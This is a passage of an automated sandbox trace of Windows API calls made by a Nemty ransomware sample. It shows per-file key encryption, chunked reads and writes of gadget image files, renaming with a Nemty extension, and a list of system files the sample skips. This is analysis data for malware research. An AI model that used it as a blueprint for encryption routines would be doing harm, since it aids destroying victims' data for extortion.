pdwDataLen=0x653e910*=0x100) returned 1 [0156.107] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0156.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0156.107] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="oa8aKyj0yENtS6DQXa2MW2Q535ymo+8e0H/AONrIr9pZ5u3xXaccXD5K01FgSnkL\r\nSEQKP3deFCjWeb34Ajd9jgm/gUyijFRWS9x22Z2iUHmOR9EO642FzveSD6o5LKeX\r\nIa3/WaLmnFduAkPlPDHaa4P3EyhreRi1BSzdBPyHPZ8qUmRI5+oayb8LPs6dOu5k\r\npsHBijvyUF6rqk26EuKDLRcTte/yUJJDUz67aiXIuTUvyQKP2/SIAOGCB9Yx+jLB\r\nOmA4jDWwFK6sP4jwRVMZODT5LLcSLp3SUv8yleMP+5ijut23xErXWJpUVpE1Q/vK\r\nbE1o/qfGaO5qQZ0Lh3RLcw==\r\n", pcchString=0x653e91c) returned 1 [0156.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0156.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0156.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0156.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0156.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0156.108] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\36.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\36.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0156.108] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0156.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0156.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.108] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.136] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.145] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.155] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.164] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.164] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.175] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.184] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.184] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.193] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.193] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.209] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.215] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.215] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0156.215] CloseHandle (hObject=0xffffffff) returned 0 [0156.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0156.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0156.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0156.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0156.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0156.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0156.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0156.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0156.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0156.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0156.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\36.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\36.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\36.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\36.png._nemty_kgobjgd_")) returned 0 [0156.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0156.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0156.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0156.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0156.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0156.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0156.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0156.216] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86abc947, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86abc947, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="37.png", cAlternateFileName="")) returned 1 [0156.216] lstrcmpiW (lpString1="37.png", lpString2=".") returned 1 [0156.216] lstrcmpiW (lpString1="37.png", lpString2="..") returned 1 [0156.216] lstrcmpiW (lpString1="37.png", lpString2="...") returned 1 [0156.216] lstrcmpiW (lpString1="37.png", lpString2="windows") returned -1 [0156.216] lstrcmpiW (lpString1="37.png", lpString2="$RECYCLE.BIN") returned 1 [0156.216] lstrcmpiW (lpString1="37.png", lpString2="rsa") returned -1 [0156.216] lstrcmpiW (lpString1="37.png", lpString2="NTDETECT.COM") returned -1 [0156.216] lstrcmpiW (lpString1="37.png", lpString2="ntldr") returned -1 [0156.217] lstrcmpiW (lpString1="37.png", lpString2="MSDOS.SYS") returned -1 [0156.217] lstrcmpiW (lpString1="37.png", lpString2="IO.SYS") returned -1 [0156.217] lstrcmpiW (lpString1="37.png", lpString2="boot.ini") returned -1 [0156.217] lstrcmpiW (lpString1="37.png", lpString2="boot.ini") returned -1 [0156.217] lstrcmpiW (lpString1="37.png", lpString2="AUTOEXEC.BAT") returned -1 [0156.217] lstrcmpiW (lpString1="37.png", lpString2="ntuser.dat") returned -1 [0156.217] lstrcmpiW (lpString1="37.png", lpString2="desktop.ini") returned -1 [0156.217] lstrcmpiW (lpString1="37.png", lpString2="CONFIG.SYS") returned -1 [0156.217] lstrcmpiW (lpString1="37.png", lpString2="RECYCLER") returned -1 [0156.217] lstrcmpiW (lpString1="37.png", lpString2="BOOTSECT.BAK") returned -1 [0156.217] lstrcmpiW (lpString1="37.png", lpString2="bootmgr") returned -1 [0156.217] lstrcmpiW (lpString1="37.png", lpString2="programdata") returned -1 [0156.217] lstrcmpiW (lpString1="37.png", lpString2="appdata") returned -1 [0156.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="37.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="37.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="37.png", lpUsedDefaultChar=0x0) returned 6 [0156.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="37.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="37.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="37.png", lpUsedDefaultChar=0x0) returned 6 [0156.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="37.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="37.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="37.png", lpUsedDefaultChar=0x0) returned 6 [0156.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="37.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="37.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="37.png", lpUsedDefaultChar=0x0) returned 6 [0156.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0156.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0156.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0156.217] Sleep (dwMilliseconds=0x5) [0156.232] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10c4af50, dwHighDateTime=0x1d561e8)) [0156.232] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10c4af50, dwHighDateTime=0x1d561e8)) [0156.232] GetLastError () returned 0x5 [0156.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0156.232] GetLastError () returned 0x5 [0156.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0156.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0156.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0156.232] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0156.232] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0156.232] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0156.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0156.232] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="h06BDP0v9anCQyXzrmrqDq9zcQ6qSLie33jyb6dAkM7ccXEIa6SInx/ebijDX9x/\r\nMkwDFu344E+viwt8Ptdy5NoZVe8cNycoY46Tx+GMJIsSgq1FryM7wjiHfAicMV0y\r\nGnI58BBM4sN74YVry0RtZ2jdjqa1M2fvfE0FIvgBXsDmO/oyZXI3vaL58bUrtsPh\r\nD0jaESOZYQxHuoK955k5+P4A5wwd9qEMwUnWLJp1dzTRyECQb97NFTsTDMISqVDK\r\n6iUWZbc++1l5tRUJgZbcjiJYxjtRpiPpuVPE5n5J9jkM6SWS+FgqOo57/58G0SU4\r\ndkwEPbDNf1KbXdIE6Lulxg==\r\n", pcchString=0x653e91c) returned 1 [0156.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0156.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0156.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0156.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0156.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0156.232] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\37.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\37.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0156.233] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0156.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0156.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.233] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, 